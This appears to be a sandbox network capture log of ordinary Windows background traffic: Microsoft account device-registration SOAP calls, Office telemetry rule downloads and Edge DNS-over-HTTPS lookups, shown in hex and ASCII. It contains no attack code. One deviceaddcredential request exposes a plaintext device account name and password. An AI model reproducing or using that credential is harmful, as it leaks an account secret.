2024-11-16 12:01:36 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-16 12:01:36 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sat, 16 Nov 2024 12:00:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 8464d1ef-ec6e-42d4-9df7-ad935a4cef40 PPServer: PPV: 30 H: PH1PEPF0001B737 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 12:01:35 GMT Connection: close Content-Length: 1276
2024-11-16 12:01:36 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49824	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-16 12:01:36 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 74 71 6d 65 74 6e 78 6d 67 73 70 6a 76 71 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 67 46 6b 45 4a 3a 52 73 71 7a 52 31 79 4a 71 66 2a 76 2f 2c 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02tqmetnxmgspjvq</Membername><Password>gFkEJ:RsqzR1yJqf*v/,</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-16 12:01:43 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sat, 16 Nov 2024 12:00:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: c85938a1-3992-443c-8818-b2563f520733 PPServer: PPV: 30 H: PH1PEPF00011F62 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sat, 16 Nov 2024 12:01:42 GMT Connection: close Content-Length: 17166
2024-11-16 12:01:43 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 30 37 41 35 30 32 30 39 38 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 65 35 61 30 36 36 32 61 2d 37 33 30 61 2d 34 63 61 33 2d 61 31 39 66 2d 66 39 35 36 33 32 31 36 35 61 63 63 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001840107A502098</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="e5a0662a-730a-4ca3-a19f-f95632165acc" LicenseID="3252b20c-d425-4711
2024-11-16 12:01:43 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120136Z-16547b76f7fmbrhqhC1DFWkds80000000pqg000000003m2v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49841	172.64.41.3	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 12:01:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 12:01:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3753ccab703159-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 12:01:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ec 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f6e15b3c-401e-0083-16b1-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120136Z-164f84587bftbpb6hC1DFWm4kg00000001mg000000002fnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: c8c2adfa-b01e-00ab-59c9-36dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120136Z-164f84587bfs5tz9hC1DFW9a3w00000002w0000000005hh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:36 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120136Z-164f84587bf5rpzqhC1DFWmra800000002v0000000002w41 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:36 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:36 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 1572e0e4-b01e-003e-1a0c-2d8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120136Z-16547b76f7fqqjnnhC1DFWxv74000000012g0000000071yx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49842	172.64.41.3	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 12:01:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 12:01:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3753ce8b452cca-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 12:01:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 e9 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomr^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:37 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:37 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:37 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 93022022-f01e-00aa-73a0-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120137Z-164f84587bfghdt4hC1DFWu5nn00000002e000000000e2tz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:37 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

